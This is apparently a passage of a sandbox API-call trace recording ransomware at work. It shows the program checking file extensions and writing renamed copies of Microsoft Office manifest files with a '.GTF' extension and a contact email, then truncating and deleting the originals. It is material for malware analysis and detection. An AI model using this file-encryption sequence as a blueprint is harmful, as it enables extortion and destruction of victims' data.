	[0075.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".7z") returned 3
	[0075.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString=".dbf") returned 4
	[0075.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString=".1cd") returned 4
	[0075.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString=".jpg") returned 4
	[0075.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString=".doc") returned 4
	[0075.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".docx") returned 5
	[0075.894] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.894] lstrlenW (lpString=".pdf") returned 4
	[0075.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".xls") returned 4
	[0075.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".xlsx") returned 5
	[0075.894] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.894] lstrlenW (lpString=".ppt") returned 4
	[0075.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.894] lstrlenW (lpString=".zip") returned 4
	[0075.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.894] lstrlenW (lpString=".rar") returned 4
	[0075.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".bz2") returned 4
	[0075.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.894] lstrlenW (lpString=".7z") returned 3
	[0075.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.895] lstrlenW (lpString=".dbf") returned 4
	[0075.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.895] lstrlenW (lpString=".1cd") returned 4
	[0075.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.895] lstrlenW (lpString=".jpg") returned 4
	[0075.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.895] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.895] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53
	[0075.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.895] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2147) returned 1
	[0075.895] CloseHandle (hObject=0x380) returned 1
	[0075.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220
	[0075.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.896] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.896] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.896] GetLastError () returned 0x0
	[0075.896] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x863, lpOverlapped=0x0) returned 1
	[0076.395] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x870, lpOverlapped=0x0) returned 1
	[0076.396] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.396] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.396] SetEndOfFile (hFile=0x390) returned 1
	[0077.467] CloseHandle (hObject=0x390) returned 1
	[0077.471] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.471] SetEndOfFile (hFile=0x380) returned 1
	[0077.472] CloseHandle (hObject=0x380) returned 1
	[0077.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0077.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.472] lstrlenW (lpString=".doc") returned 4
	[0077.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.472] lstrlenW (lpString=".docx") returned 5
	[0077.472] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.472] lstrlenW (lpString=".pdf") returned 4
	[0077.473] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString=".xls") returned 4
	[0077.473] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString=".xlsx") returned 5
	[0077.473] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.473] lstrlenW (lpString=".ppt") returned 4
	[0077.473] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.473] lstrlenW (lpString=".zip") returned 4
	[0077.473] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.473] lstrlenW (lpString=".rar") returned 4
	[0077.473] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString=".bz2") returned 4
	[0077.473] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString=".7z") returned 3
	[0077.473] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.473] lstrlenW (lpString=".dbf") returned 4
	[0077.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.473] lstrlenW (lpString=".1cd") returned 4
	[0077.473] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.473] lstrlenW (lpString=".jpg") returned 4
	[0077.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString=".doc") returned 4
	[0077.474] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString=".docx") returned 5
	[0077.474] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.474] lstrlenW (lpString=".pdf") returned 4
	[0077.474] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString=".xls") returned 4
	[0077.474] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString=".xlsx") returned 5
	[0077.474] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.474] lstrlenW (lpString=".ppt") returned 4
	[0077.474] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString=".zip") returned 4
	[0077.474] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.474] lstrlenW (lpString=".rar") returned 4
	[0077.474] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString=".bz2") returned 4
	[0077.474] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString=".7z") returned 3
	[0077.474] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString=".dbf") returned 4
	[0077.474] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString=".1cd") returned 4
	[0077.474] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0077.474] lstrlenW (lpString=".jpg") returned 4
	[0077.474] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.474] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.475] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53
	[0077.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.475] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=14913) returned 1
	[0077.475] CloseHandle (hObject=0x380) returned 1
	[0077.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.475] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.475] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.476] GetLastError () returned 0x0
	[0077.476] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3a41, lpOverlapped=0x0) returned 1
	[0077.478] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3a50, lpOverlapped=0x0) returned 1
	[0077.479] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.479] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.479] SetEndOfFile (hFile=0x384) returned 1
	[0077.479] CloseHandle (hObject=0x384) returned 1
	[0077.480] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.480] SetEndOfFile (hFile=0x380) returned 1
	[0077.481] CloseHandle (hObject=0x380) returned 1
	[0077.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.481] lstrlenW (lpString=".doc") returned 4
	[0077.481] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".docx") returned 5
	[0077.482] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.482] lstrlenW (lpString=".pdf") returned 4
	[0077.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".xls") returned 4
	[0077.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".xlsx") returned 5
	[0077.482] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.482] lstrlenW (lpString=".ppt") returned 4
	[0077.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString=".zip") returned 4
	[0077.482] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.482] lstrlenW (lpString=".rar") returned 4
	[0077.482] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".bz2") returned 4
	[0077.482] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".7z") returned 3
	[0077.482] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString=".dbf") returned 4
	[0077.482] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString=".1cd") returned 4
	[0077.482] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString=".jpg") returned 4
	[0077.482] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.482] lstrlenW (lpString=".doc") returned 4
	[0077.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.482] lstrlenW (lpString=".docx") returned 5
	[0077.482] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.482] lstrlenW (lpString=".pdf") returned 4
	[0077.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString=".xls") returned 4
	[0077.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString=".xlsx") returned 5
	[0077.483] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.483] lstrlenW (lpString=".ppt") returned 4
	[0077.483] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.483] lstrlenW (lpString=".zip") returned 4
	[0077.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.483] lstrlenW (lpString=".rar") returned 4
	[0077.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString=".bz2") returned 4
	[0077.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString=".7z") returned 3
	[0077.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.483] lstrlenW (lpString=".dbf") returned 4
	[0077.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.483] lstrlenW (lpString=".1cd") returned 4
	[0077.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0077.483] lstrlenW (lpString=".jpg") returned 4
	[0077.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.483] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.483] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53
	[0077.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.484] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=357349) returned 1
	[0077.484] CloseHandle (hObject=0x380) returned 1
	[0077.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.484] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.484] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.484] GetLastError () returned 0x0
	[0077.484] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x573e5, lpOverlapped=0x0) returned 1
	[0077.493] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x573f0, lpOverlapped=0x0) returned 1
	[0077.499] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.499] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.499] SetEndOfFile (hFile=0x384) returned 1
	[0077.499] CloseHandle (hObject=0x384) returned 1
	[0077.797] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.797] SetEndOfFile (hFile=0x380) returned 1
	[0077.802] CloseHandle (hObject=0x380) returned 1
